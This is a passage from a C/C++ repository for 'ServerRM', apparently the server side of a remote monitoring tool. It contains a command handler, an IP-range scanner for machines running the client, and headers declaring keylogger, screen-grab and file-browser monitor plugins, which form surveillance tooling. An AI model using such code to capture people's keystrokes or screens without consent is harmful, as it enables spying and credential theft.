66 | SCMDATA *pSCMDataOut = NULL; // to encapsulate SPM data to forward to client 67 | SPMARGS *pSPMArgs = NULL; // to pass incoming data from CCM to SPM 68 | 69 | if ((pMyArgs = (SCM_THREADARGS*)lpArgs) == NULL) { 70 | PrintToStatusWindow(L"SCMCmdHandler: NULL args"); 71 | return FALSE; 72 | } 73 | 74 | __try { 75 | switch (pMyArgs->cmd) { 76 | 77 | // ** cases for handling commands ** 78 | 79 | case SCM_STARTSESSION: 80 | { 81 | iRetVal = SendMessage(hMsgOnlyWnd, WM_SESSION_START, 0, (LPARAM)&pMyArgs->SCMArgs.wszCliIP); 82 | return TRUE; 83 | } 84 | 85 | 86 | case SCM_STOPSESSION: 87 | { 88 | iRetVal = SendMessage(hMsgOnlyWnd, WM_SESSION_STOP, 0, 0); 89 | return TRUE; 90 | } 91 | 92 | 93 | case SCM_SENDDATA: 94 | { 95 | // malloc pSCMDataOut 96 | if ((pSCMDataOut = (SCMDATA*)malloc(sizeof(SCMDATA))) == NULL) { 97 | PrintToStatusWindow(L"SCM: malloc error: pSCMDataOut"); 98 | return FALSE; 99 | } 100 | // fill the SCMData structure with command and SPMData 101 | memset(pSCMDataOut, 0, sizeof(SCMDATA)); 102 | pSCMDataOut->iPacketType = PM_DATA; 103 | pSCMDataOut->SCMDataType.cmd = CCM_FWDDATA_TO_CPM; 104 | memcpy(&(pSCMDataOut->SCMDataType.SPMDataOut), &(pMyArgs->SCMArgs.SPMDataOut), 105 | sizeof(SPMDATA)); 106 | 107 | iRetVal = SendMessage(hMsgOnlyWnd, WM_SEND_DATA, 0, (LPARAM)pSCMDataOut); 108 | if (iRetVal == FALSE) { 109 | PrintToStatusWindow(L"SCM: SPM data not sent"); 110 | return FALSE; 111 | } 112 | PrintToStatusWindow(L"SCM: SPM data sent"); 113 | return TRUE; 114 | } 115 | 116 | 117 | case SCM_INIT_FT: 118 | { 119 | // malloc pSCMDataOut 120 | if ((pSCMDataOut = (SCMDATA*)malloc(sizeof(SCMDATA))) == NULL) { 121 | PrintToStatusWindow(L"SCM: malloc error: pSCMDataOut"); 122 | return FALSE; 123 | } 124 | // fill the SCMData structure with command and file transfer data 125 | pSCMDataOut->iPacketType = COMMAND; 126 | pSCMDataOut->SCMDataType.cmd = CCM_INIT_FT; 127 | memcpy(&pSCMDataOut->SCMDataType.FileTransferData, &pMyArgs->SCMArgs.FileTransferData, 128 | sizeof(FILE_TRANSFER_DATA)); 129 | 130 | // send the SCMData structure to client 131 | iRetVal = SendMessage(hMsgOnlyWnd, WM_SEND_DATA, 0, (LPARAM)pSCMDataOut); 132 | if (iRetVal == FALSE) { 133 | PrintToStatusWindow(L"SCM: FT data not sent"); 134 | return FALSE; 135 | } 136 | PrintToStatusWindow(L"SCM: CCM_INIT_FT command sent"); 137 | return TRUE; 138 | } 139 | 140 | 141 | // ** cases for handling notifications ** 142 | 143 | case SCMN_CONNECTED: 144 | { 145 | ServerPluginManager(SPMN_CONNECTED, NULL, NULL); 146 | return TRUE; 147 | } 148 | 149 | 150 | case SCMN_DISCONNECTED: 151 | { 152 | ServerPluginManager(SPMN_DISCONNECTED, NULL, NULL); 153 | return TRUE; 154 | } 155 | 156 | 157 | case SCMN_DATA_IN: 158 | { 159 | // check packet type 160 | switch (pMyArgs->CCMDataIn.iPacketType) { 161 | case COMMAND: 162 | { 163 | return TRUE; 164 | } 165 | 166 | 167 | case NOTIFICATION: 168 | { 169 | switch (pMyArgs->CCMDataIn.CCMDataType.cmd) { 170 | case SCMN_FT_READY: 171 | { 172 | HANDLE hFTReadyEvent = NULL; 173 | 174 | PrintToStatusWindow(L"SCM: FT Ready notification received"); 175 | 176 | // get handle to FT ready event 177 | hFTReadyEvent = CreateEvent(NULL, TRUE, FALSE, EVENT_FT_READY); 178 | if (hFTReadyEvent == NULL) { 179 | PrintToStatusWindow(L"SCM: FTReadyEvent error"); 180 | return FALSE; 181 | } 182 | 183 | // set the event 184 | SetEvent(hFTReadyEvent); 185 | CloseHandle(hFTReadyEvent); 186 | 187 | return TRUE; 188 | } 189 | 190 | }// switch(MyArgs->CCMDataIn.CCMDataType.cmd) 191 | return FALSE; 192 | 193 | }// case NOTIFICATION 194 | 195 | 196 | case PM_DATA: 197 | { 198 | // forward CPMDATA to SPM 199 | PrintToStatusWindow(L"CPM Data received"); 200 | ServerPluginManager(SPMN_DATA_IN, NULL, &pMyArgs->CCMDataIn.CCMDataType.CPMDataOut); 201 | return TRUE; 202 | } 203 | }// switch(MyArgs->CCMDataIn.iPacketType) 204 | return FALSE; 205 | } 206 | 207 | 208 | // ** cases for handling error codes ** 209 | case E_CONNFAIL: 210 | { 211 | ServerPluginManager(E_CONNFAIL, NULL, NULL); 212 | return TRUE; 213 | } 214 | 215 | }// switch(MyArgs->cmd) 216 | return FALSE; 217 | } 218 | __finally { 219 | if (pMyArgs) 220 | free(pMyArgs); 221 | 222 | if (pSCMDataOut) 223 | free(pSCMDataOut); 224 | } 225 | 226 | } 227 | -------------------------------------------------------------------------------- /ServerRM/ServerRM/ScanIPAddresses.cpp: -------------------------------------------------------------------------------- 1 | 2 | // * ServerRM project * 3 | // ScanIPAddresses.cpp : Functions implementing the scanning of IPaddresses in search of ClientRMs 4 | 5 | #include "ServerInclude.h" 6 | 7 | extern HWND hMainWnd; 8 | extern CLIENTCONF ccPingReply; 9 | extern BOOL fClientActive; 10 | extern BOOL fPingInProgress; 11 | 12 | DWORD WINAPI ScanIPAddresses(LPVOID lpArgs) { 13 | int iRetVal; 14 | int iOctet0, iOctet1, iOctet2, iOctet3; 15 | int awToIP[4], awFromIP[4], awScanIP[4]; 16 | 17 | WCHAR wszSBMsg[MAX_SB_MSG + 1]; 18 | WCHAR wszScanIP[IPADDR_LEN + 1] = L""; 19 | 20 | DWORD dwEventRetVal; 21 | SPMARGS *pSPMArgs = NULL; 22 | SCANRESULTS *pScanResults = NULL; 23 | HANDLE hPingInfoReadyEvent = NULL; 24 | HANDLE hIPScanCompleteEvent = NULL; 25 | 26 | SCAN_IPADDR_ARGS *pMyArgs = (SCAN_IPADDR_ARGS*)lpArgs; 27 | 28 | __try { 29 | if (StringToIPAddress(pMyArgs->wszFromIP, awFromIP) == FALSE) 30 | return FALSE; 31 | 32 | if (StringToIPAddress(pMyArgs->wszToIP, awToIP) == FALSE) 33 | return FALSE; 34 | 35 | if ((pSPMArgs = (SPMARGS*)malloc(sizeof(SPMARGS))) == NULL) { 36 | WriteToLogFile(FP_SERVER_LOGFILE, L"SPM", L"ScanIPAddresses", L"malloc() error: pSPMArgs", 37 | GetLastError()); 38 | return FALSE; 39 | } 40 | memset(pSPMArgs, 0, sizeof(SPMARGS)); 41 | pSPMArgs->cmd = SPM_STARTSESSION; 42 | 43 | // freeing this memory is the responsibility of the ScanResults dialog procedure 44 | if ((pScanResults = (SCANRESULTS*)malloc(sizeof(SCANRESULTS))) == NULL) { 45 | WriteToLogFile(FP_SERVER_LOGFILE, L"SPM", L"ScanIPAddresses", L"malloc() error: pScanResults", 46 | GetLastError()); 47 | return FALSE; 48 | } 49 | memset(pScanResults, 0, sizeof(SCANRESULTS)); 50 | 51 | // create a PingInfoReadyEvent 52 | hPingInfoReadyEvent = CreateEvent(NULL, TRUE, FALSE, EVENT_PING_INFO_READY); 53 | if (hPingInfoReadyEvent == NULL) { 54 | WriteToLogFile(FP_SERVER_LOGFILE, L"SPM", L"ScanIPAddresses", L"PingInfoReadyEvent creation error", 55 | GetLastError()); 56 | return FALSE; 57 | } 58 | 59 | // set the fPingInProgress variables 60 | fPingInProgress = TRUE; 61 | swprintf_s(wszSBMsg, MAX_SB_MSG + 1, L"Scanning in progress. This could take a long time..."); 62 | PrintToStatusBar(wszSBMsg, 1); 63 | 64 | for (iOctet0 = awFromIP[0]; iOctet0 <= awToIP[0]; ++iOctet0) { 65 | awScanIP[0] = iOctet0; 66 | for (iOctet1 = awFromIP[1]; iOctet1 <= awToIP[1]; ++iOctet1) { 67 | awScanIP[1] = iOctet1; 68 | for (iOctet2 = awFromIP[2]; iOctet2 <= awToIP[2]; ++iOctet2) { 69 | awScanIP[2] = iOctet2; 70 | for (iOctet3 = awFromIP[3]; iOctet3 <= awToIP[3]; ++iOctet3) { 71 | awScanIP[3] = iOctet3; 72 | if (IPAddressToString(awScanIP, wszScanIP, IPADDR_LEN + 1) == FALSE) { 73 | // error 74 | continue; 75 | } 76 | 77 | // Send command to ServerPluginManager() to 78 | // ping the client machine with the current IP address. 79 | pSPMArgs->iFromPlugin = ADMINGUI; 80 | wcscpy_s(pSPMArgs->wszCliIP, IPADDR_LEN + 1, wszScanIP); 81 | if ((iRetVal = ServerPluginManager(0, pSPMArgs, NULL)) == FALSE) { 82 | // error 83 | return FALSE; 84 | } 85 | 86 | // wait for PingInfoReadyEvent 87 | dwEventRetVal = WaitForSingleObject(hPingInfoReadyEvent, INFINITE); 88 | if (dwEventRetVal == WAIT_OBJECT_0) 89 | ResetEvent(hPingInfoReadyEvent); 90 | 91 | if (fClientActive == FALSE) 92 | continue; 93 | 94 | // Read the ClientInfo structure from the static global variable 95 | // and update the ScanResults structure 96 | pScanResults->nActive++; 97 | memcpy(&pScanResults->ccClientConf[pScanResults->nActive - 1], &ccPingReply, 98 | sizeof(CLIENTCONF)); 99 | 100 | // continue to next IP address 101 | } 102 | } 103 | } 104 | } 105 | 106 | // reset the fPingInProgress variable 107 | fPingInProgress = FALSE; 108 | swprintf_s(wszSBMsg, MAX_SB_MSG + 1, L"Scan Complete"); 109 | PrintToStatusBar(wszSBMsg, 1); 110 | 111 | // Send message to WndProc to open the Scan Results DialogBox 112 | SendNotifyMessage(hMainWnd, WM_START_SCAN_RESULTS, 0, (LPARAM)pScanResults); 113 | return TRUE; 114 | } 115 | __finally { 116 | if (hPingInfoReadyEvent) 117 | CloseHandle(hPingInfoReadyEvent); 118 | if (pMyArgs) 119 | free(pMyArgs); 120 | if (pSPMArgs) 121 | free(pSPMArgs); 122 | } 123 | 124 | return TRUE; 125 | } 126 | 127 | BOOL StringToIPAddress(const WCHAR *pwszIPAddr, int *awIPAddr) { 128 | int i; 129 | 130 | WCHAR *pwszCur, *pwszNext = NULL; 131 | WCHAR *pDotAt = NULL; 132 | WCHAR wszIP[IPADDR_LEN + 1] = L""; 133 | 134 | if (wcscpy_s(wszIP, IPADDR_LEN + 1, pwszIPAddr) != 0) 135 | return FALSE; 136 | 137 | pwszCur = wcstok_s(wszIP, L".", &pwszNext); 138 | awIPAddr[0] = _wtoi(pwszCur); 139 | for (i = 1; i <= 3; ++i) { 140 | pwszCur = wcstok_s(NULL, L".", &pwszNext); 141 | awIPAddr[i] = _wtoi(pwszCur); 142 | } 143 | 144 | return TRUE; 145 | } 146 | 147 | BOOL IPAddressToString(const int *awIPAddr, WCHAR *pwszIPAddr, int iLen) { 148 | int i; 149 | 150 | if (pwszIPAddr == NULL) 151 | return FALSE; 152 | 153 | // validate IP address 154 | for (i = 0; i < 4; ++i) 155 | if (awIPAddr[i] < 0 || awIPAddr[i] > 255) 156 | return FALSE; 157 | 158 | swprintf_s(pwszIPAddr, iLen, L"%d.%d.%d.%d", awIPAddr[0], awIPAddr[1], awIPAddr[2], awIPAddr[3]); 159 | 160 | return TRUE; 161 | } -------------------------------------------------------------------------------- /ServerRM/ServerRM/ServerInclude.h: -------------------------------------------------------------------------------- 1 | 2 | // ** ServerRM project ** 3 | // Includes.h : Contains all the #includes required for ServerRM.exe 4 | 5 | #include 6 | #include // InitCommControls() 7 | #include // _wfopen_s(), fclose(), fprintf(), fscanf() 8 | #include // MAX_PATH , errno 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include // _write 16 | #include 17 | #include 18 | 19 | #include "..\..\Include\RMDefs.h" 20 | #include "..\..\Include\DataStructures.h" 21 | #include "..\..\Include\SHA1.h" 22 | #include "..\..\Include\Library.h" 23 | #include "ServerRM.h" 24 | #include "ResServerRM.h" 25 | 26 | //#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"") -------------------------------------------------------------------------------- /ServerRM/ServerRM/ServerRM ReadMe.txt: -------------------------------------------------------------------------------- 1 | ServerRM.exe 2 | 3 | Application used to monitor client machines on which the ClientRM.exe has been installed. Provides an easy to use GUI for the same. 4 | 5 | Menu Options: 6 | 7 | Server Config > Client DB > Add : Add a new client machine by entering the IP address and nickname. Duplicate entries are not allowed, i.e., no two clients can have the same IP address. 8 | Server Config > Client DB> Remove: Remove a previously added client machine from the database. 9 | Server Config > Client DB> View Clients: View the previously added client machines and optionally edit the nicknames. 10 | 11 | Server Config > Plugin DB > Add: Add a new plugin by specifying a unique PluginID, path of the DLL files and names of the plug-in DLL and interface DLL. Duplicacy not allowed. No two plugins can have the same ID. 12 | Server Config > Plugin DB > Remove: Remove a plugin from the database. 13 | Server Config > Plugin DB > View Plugins: View previously added plugins. 14 | 15 | Monitor > Scan IP Addresses: Scan a range of IP addresses in search of machines that have ClientRM.exe installed and running. 16 | Monitor > Connect: Connect to a prreviously added client machine. 17 | Monitor > Launch Plugin: Once connected, launch any of the available plugin monitors. 18 | Monitor > Disconnect: Disconnect from the connected client machine. 19 | 20 | Help > About: Display the About Box. -------------------------------------------------------------------------------- /ServerRM/ServerRM/ServerRM.h: -------------------------------------------------------------------------------- 1 | 2 | // ** ServerRM project ** 3 | // ServerRM.h : 4 | 5 | // ** Private Data Structures ** 6 | 7 | //Data structure to store ServerRM Configuration 8 | typedef struct tagRMServerConf { 9 | BOOL FirstRun; 10 | int nClients; 11 | int nPlugins; 12 | SYSTEMTIME stPrevRunTime; 13 | SYSTEMTIME stLogOutTime; 14 | int iComPort; 15 | LOCALFILEPATHS LocalFilePaths[MAX_LOCAL_FILE_PATHS]; 16 | }RMSERVERCONF; 17 | 18 | 19 | // Data structures for storing client machines' 20 | // information in the server database. 21 | typedef struct tagClientInfo { 22 | int nPlugins; 23 | PLUGININFO PluginInfo[MAX_PLUGINS]; 24 | SYSTEMTIME stPrevContact; 25 | WCHAR wszIP[IPADDR_LEN + 1]; 26 | WCHAR wszName[MAX_NICK_NAME + 1]; 27 | }CLIENTINFO; 28 | 29 | typedef struct tagCLIENTSDB { 30 | int nClients; 31 | CLIENTINFO ClientInfo[MAX_CLIENTS]; 32 | }CLIENTDB; 33 | 34 | typedef struct tagPLUGINDB { 35 | int nPlugins; 36 | PLUGININFO PluginInfo[MAX_PLUGINS]; 37 | }PLUGINDB; 38 | 39 | // Data structure for storing tabbed dialog box information. 40 | typedef struct tagDlgHdr { 41 | HWND hTab; // tab control 42 | HWND hCurDlg; // current child dialog box 43 | HWND hAllDlgs[4]; // handle to all four child dialog boxes 44 | } 45 | DLGHDR; 46 | 47 | // Data structure to store plugin monitor information 48 | typedef struct tagPluginMonitor { 49 | HWND hDlgBox; 50 | PTYPE iPluginType; 51 | }PLUGINMONITOR; 52 | 53 | // 54 | typedef struct tagPMonitors { 55 | int nPlugins; 56 | PLUGINMONITOR PluginMonitor[MAX_PLUGINS]; 57 | }PMONITORS; 58 | 59 | // Data structure to store handle node info in the tree view control 60 | typedef struct tagKLHandleNode { 61 | HANDLE hWnd; 62 | WCHAR wszWndTitle[MAX_WND_TITLE + 1]; 63 | WCHAR wszKeys[MAX_KLIF_KEYS + 1]; 64 | }KLHANDLENODE; 65 | 66 | // Data structure to store time node info in the tree view control 67 | typedef struct tagKLTimeNode { 68 | 69 | WORD wHour; 70 | WORD wMinute; 71 | WORD wSecond; 72 | WORD wMilliseconds; 73 | 74 | }KLTIMENODE; 75 | 76 | // Structure to hold information about Active Clients 77 | // when scanning a range of IPaddresses. 78 | typedef struct tagScanResults { 79 | int nActive; 80 | CLIENTCONF ccClientConf[MAX_CLIENTS]; 81 | }SCANRESULTS; 82 | 83 | // BMP File Format 84 | typedef struct tagBMPFileMagic { 85 | unsigned char magic[2]; 86 | }BMPFILE_MAGIC; 87 | 88 | typedef struct tagBMPFileHeader { 89 | UINT32 filesz; 90 | UINT16 creator1; 91 | UINT16 creator2; 92 | UINT32 bmp_offset; 93 | }BMPFILE_HEADER; 94 | 95 | typedef struct tagBMPFileDIBInfo { 96 | UINT32 header_sz; 97 | UINT32 width; 98 | UINT32 height; 99 | UINT16 nplanes; 100 | UINT16 bitspp; 101 | UINT32 compress_type; 102 | UINT32 bmp_bytesz; 103 | UINT32 hres; 104 | UINT32 vres; 105 | UINT32 ncolors; 106 | UINT32 nimpcolors; 107 | }BMPFILE_DIBINFO; 108 | 109 | 110 | 111 | // Arguments to ScanIPAddresses() 112 | typedef struct tagScanIPAddrArgs { 113 | WCHAR wszFromIP[IPADDR_LEN + 1]; 114 | WCHAR wszToIP[IPADDR_LEN + 1]; 115 | }SCAN_IPADDR_ARGS; 116 | 117 | // Data structures to store arguments to ServerPluginManager() 118 | typedef struct tagSPMArgs { 119 | 120 | RM_COMMAND cmd; 121 | PTYPE iFromPlugin; 122 | MNTRDATA MNTRData; 123 | FILE_TRANSFER_DATA FileTransferData; 124 | WCHAR wszCliIP[IPADDR_LEN + 1]; 125 | WCHAR wszCliNick[MAX_NICK_NAME + 1]; 126 | 127 | }SPMARGS; 128 | 129 | // Data structures to store arguments to ServerComModule() 130 | typedef struct tagSCMArgs { 131 | 132 | RM_COMMAND cmd; 133 | SPMDATA SPMDataOut; 134 | SCMDATATYPE SCMDataType; 135 | FILE_TRANSFER_DATA FileTransferData; 136 | WCHAR wszCliIP[IPADDR_LEN + 1]; 137 | 138 | }SCMARGS; 139 | 140 | 141 | // ** Function Prototypes ** 142 | 143 | int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow); 144 | LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam); 145 | LRESULT CALLBACK MsgOnlyWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam); 146 | BOOL UpdateClientConfUI(const CLIENTCONF *pClientConf); 147 | 148 | // Dialog procks 149 | BOOL CALLBACK AddCliDP(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam); 150 | BOOL CALLBACK RemCliDP(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam); 151 | BOOL CALLBACK ViewCliDP(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam); 152 | BOOL CALLBACK EditNickNameDP(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam); 153 | 154 | BOOL CALLBACK AddPluginDP(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam); 155 | BOOL CALLBACK RemPluginDP(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam); 156 | BOOL CALLBACK ViewPluginDP(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam); 157 | 158 | BOOL CALLBACK ConnectToDP(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam); 159 | BOOL CALLBACK ScanIPAddrDP(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam); 160 | BOOL CALLBACK ScanResultsDP(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam); 161 | BOOL CALLBACK KeylogMonDP(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam); 162 | BOOL CALLBACK SGMonDP(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam); 163 | BOOL CALLBACK FBMonDP(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam); 164 | BOOL CALLBACK AboutBoxDP(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam); 165 | 166 | // SCM 167 | BOOL ServerComModule(RM_COMMAND cmd, const SCMARGS *pSCMArgs, const CCMDATA *pCCMDataIn); 168 | 169 | // SPM 170 | BOOL ServerPluginManager(RM_COMMAND cmd, const SPMARGS *pSPMArgs, const CPMDATA *pCPMDataIn); 171 | DWORD WINAPI ScanIPAddresses(LPVOID lpArgs); 172 | BOOL StringToIPAddress(const WCHAR *pwszIPAddr, int *awIPAddr); 173 | BOOL IPAddressToString(const int *awIPAddr, WCHAR *pwszIPAddr, int iLen); 174 | 175 | // Helpers 176 | BOOL GetClientIP(WCHAR*); 177 | BOOL GetClientDir(WCHAR *wszCliDir); 178 | BOOL GetCurrentWorkDir(WCHAR *pwszCWD); 179 | 180 | BOOL GetFile(const WCHAR *pwszCliSrcPath, const WCHAR *pwszLocalDestPath); 181 | 182 | void WINAPI OnSelChanged(HWND hDlg); 183 | 184 | int ComputeStructSizes(); 185 | 186 | BOOL CenterWindow(HWND hWnd); 187 | BOOL ShowRightClickMenu(HWND hOwnerWnd); 188 | 189 | BOOL AddClientToDBFile(const CLIENTINFO *pClientInfo); 190 | BOOL ReadClientsDBFile(CLIENTDB *pClientsDB); 191 | BOOL WriteClientsDBFile(const CLIENTDB *pClientsDB); 192 | 193 | BOOL AddPluginToDBFile(const PLUGININFO *pNewPluginInfo); 194 | BOOL ReadPluginDBFile(PLUGINDB *pPluginDB); 195 | BOOL WritePluginDBFile(const PLUGINDB *pPluginDB); 196 | 197 | void FreeTreeViewMemory(HWND hTree); 198 | void TreeDFS(HWND hTree, HTREEITEM hCurNode); 199 | 200 | BOOL WriteToAddressFile(void *pAddress, int type); -------------------------------------------------------------------------------- /ServerRM/ServerRM/ServerRM.vcproj: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 | 15 | 16 | 17 | 18 | 19 | 26 | 29 | 32 | 35 | 38 | 41 | 52 | 55 | 58 | 61 | 71 | 74 | 77 | 80 | 83 | 86 | 89 | 92 | 93 | 101 | 104 | 107 | 110 | 113 | 116 | 127 | 130 | 133 | 136 | 148 | 151 | 154 | 157 | 160 | 163 | 166 | 169 | 170 | 171 | 172 | 173 | 174 | 179 | 182 | 183 | 186 | 187 | 190 | 191 | 194 | 195 | 198 | 199 | 202 | 203 | 206 | 207 | 210 | 211 | 214 | 215 | 218 | 219 | 222 | 223 | 226 | 227 | 230 | 231 | 234 | 235 | 238 | 239 | 242 | 243 | 246 | 247 | 248 | 253 | 256 | 257 | 260 | 261 | 264 | 265 | 266 | 271 | 274 | 275 | 278 | 279 | 282 | 283 | 286 | 287 | 290 | 291 | 294 | 295 | 298 | 299 | 302 | 303 | 306 | 307 | 310 | 311 | 314 | 315 | 318 | 319 | 322 | 323 | 326 | 327 | 328 | 329 | 330 | 331 | 332 | -------------------------------------------------------------------------------- /ServerRM/ServerRM/ServerRM.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {8BAC3E10-E9EF-4722-A37F-27B455919C33} 15 | ServerRM 16 | Win32Proj 17 | 10.0.16299.0 18 | 19 | 20 | 21 | Application 22 | v141 23 | Unicode 24 | true 25 | 26 | 27 | Application 28 | v141 29 | Unicode 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | <_ProjectFileVersion>14.0.25431.1 43 | 44 | 45 | $(SolutionDir)$(Configuration)\ 46 | $(Configuration)\ 47 | true 48 | 49 | 50 | $(SolutionDir)$(Configuration)\ 51 | $(Configuration)\ 52 | false 53 | 54 | 55 | 56 | Disabled 57 | WIN32;_DEBUG;_WINDOWS;%(PreprocessorDefinitions) 58 | true 59 | EnableFastChecks 60 | MultiThreadedDebugDLL 61 | 62 | Level3 63 | EditAndContinue 64 | 65 | 66 | comctl32.lib;Ws2_32.lib;%(AdditionalDependencies) 67 | ..\..\Debug\$(ProjectName).exe 68 | ServerRMDef.def 69 | true 70 | Windows 71 | MachineX86 72 | 73 | 74 | 75 | 76 | MaxSpeed 77 | true 78 | WIN32;NDEBUG;_WINDOWS;%(PreprocessorDefinitions) 79 | MultiThreadedDLL 80 | true 81 | 82 | Level3 83 | ProgramDatabase 84 | 85 | 86 | comctl32.lib;Ws2_32.lib;%(AdditionalDependencies) 87 | ..\..\Release\$(ProjectName).exe 88 | ServerRMDef.def 89 | true 90 | Windows 91 | true 92 | true 93 | MachineX86 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | -------------------------------------------------------------------------------- /ServerRM/ServerRM/ServerRM.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | Source Files 35 | 36 | 37 | Source Files 38 | 39 | 40 | Source Files 41 | 42 | 43 | Source Files 44 | 45 | 46 | Source Files 47 | 48 | 49 | Source Files 50 | 51 | 52 | Source Files 53 | 54 | 55 | Source Files 56 | 57 | 58 | Source Files 59 | 60 | 61 | Source Files 62 | 63 | 64 | Source Files 65 | 66 | 67 | 68 | 69 | Source Files 70 | 71 | 72 | 73 | 74 | Header Files 75 | 76 | 77 | Header Files 78 | 79 | 80 | Header Files 81 | 82 | 83 | 84 | 85 | Resource Files 86 | 87 | 88 | Resource Files 89 | 90 | 91 | Resource Files 92 | 93 | 94 | Resource Files 95 | 96 | 97 | Resource Files 98 | 99 | 100 | Resource Files 101 | 102 | 103 | Resource Files 104 | 105 | 106 | Resource Files 107 | 108 | 109 | Resource Files 110 | 111 | 112 | Resource Files 113 | 114 | 115 | Resource Files 116 | 117 | 118 | Resource Files 119 | 120 | 121 | Resource Files 122 | 123 | 124 | 125 | 126 | Resource Files 127 | 128 | 129 | -------------------------------------------------------------------------------- /ServerRM/ServerRM/ServerRMDef.def: -------------------------------------------------------------------------------- 1 | STACKSIZE 12582912,12582912 -------------------------------------------------------------------------------- /ServerRM/ServerRM/StructureSizes.cpp: -------------------------------------------------------------------------------- 1 | 2 | #include "ServerInclude.h" 3 | 4 | typedef struct tagSCM_ThreadArgs { 5 | 6 | RM_COMMAND cmd; 7 | SCMARGS SCMArgs; 8 | CCMDATA CCMDataIn; 9 | 10 | }SCM_THREADARGS; 11 | 12 | int ComputeStructSizes() { 13 | int CPMData; 14 | int SPMData; 15 | int PData; 16 | int KLRTTree, KLFileTransfer, SGFileData; 17 | int iCCMDataSize; 18 | int iSCMDataSize; 19 | int SCMthreadargs; 20 | 21 | int SizeofVoid = sizeof(void*); 22 | int iFindData = sizeof(WIN32_FIND_DATA); 23 | 24 | int iFBData = sizeof(FBDATA); 25 | 26 | iCCMDataSize = sizeof(CCMDATA); 27 | CPMData = sizeof(CPMDATA); 28 | 29 | iSCMDataSize = sizeof(SCMDATA); 30 | SCMthreadargs = sizeof(SCM_THREADARGS); 31 | SPMData = sizeof(SPMDATA); 32 | 33 | PData = sizeof(PDATA); 34 | 35 | KLRTTree = sizeof(KLRTTREE); 36 | KLFileTransfer = sizeof(FILE_TRANSFER_DATA); 37 | SGFileData = sizeof(SGFILEDATA); 38 | 39 | 40 | 41 | return 0; 42 | } 43 | -------------------------------------------------------------------------------- /ServerRM/ServerRM/WinMain.cpp: -------------------------------------------------------------------------------- 1 | 2 | // * ServerRM Project * 3 | // WinMain.cpp: Entry point for the application. 4 | 5 | #include "ServerInclude.h" 6 | 7 | HWND hMainWnd; 8 | HWND hMsgOnlyWnd; 9 | HCURSOR hCursorWait; 10 | HINSTANCE hMainInstance; 11 | 12 | int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow) { 13 | MSG MainWndMsg; 14 | WNDCLASS MainWndClass; 15 | WNDCLASS MsgOnlyWndClass; 16 | 17 | WCHAR szAppName[] = L"ServerRM"; 18 | WCHAR szMsgOnlyWndClassName[] = L"ServerRMMOWndClass"; 19 | 20 | hMainInstance = hInstance; 21 | 22 | int iScreenX, iScreenY, iWndX, iWndY, iWidth, iHeight; 23 | RECT rcMainWnd; 24 | 25 | // RMServer UI Window Class 26 | MainWndClass.style = CS_HREDRAW | CS_VREDRAW; 27 | MainWndClass.lpfnWndProc = WndProc; 28 | MainWndClass.cbClsExtra = 0; 29 | MainWndClass.cbWndExtra = 0; 30 | MainWndClass.hInstance = hMainInstance; 31 | MainWndClass.hIcon = LoadIcon(hMainInstance, MAKEINTRESOURCE(IDC_MAIN_WINDOW)); 32 | MainWndClass.hCursor = LoadCursor(NULL, IDC_ARROW); 33 | MainWndClass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH); 34 | MainWndClass.lpszMenuName = MAKEINTRESOURCE(IDM_MAIN_WINDOW); 35 | MainWndClass.lpszClassName = szAppName; 36 | 37 | if (!RegisterClass(&MainWndClass)) { 38 | MessageBox(NULL, TEXT("This program requires Windows NT!"), szAppName, MB_ICONERROR); 39 | return 0; 40 | } 41 | 42 | // Message-only window class 43 | MsgOnlyWndClass.style = CS_HREDRAW | CS_VREDRAW; 44 | MsgOnlyWndClass.lpfnWndProc = MsgOnlyWndProc; 45 | MsgOnlyWndClass.cbClsExtra = 0; 46 | MsgOnlyWndClass.cbWndExtra = 0; 47 | 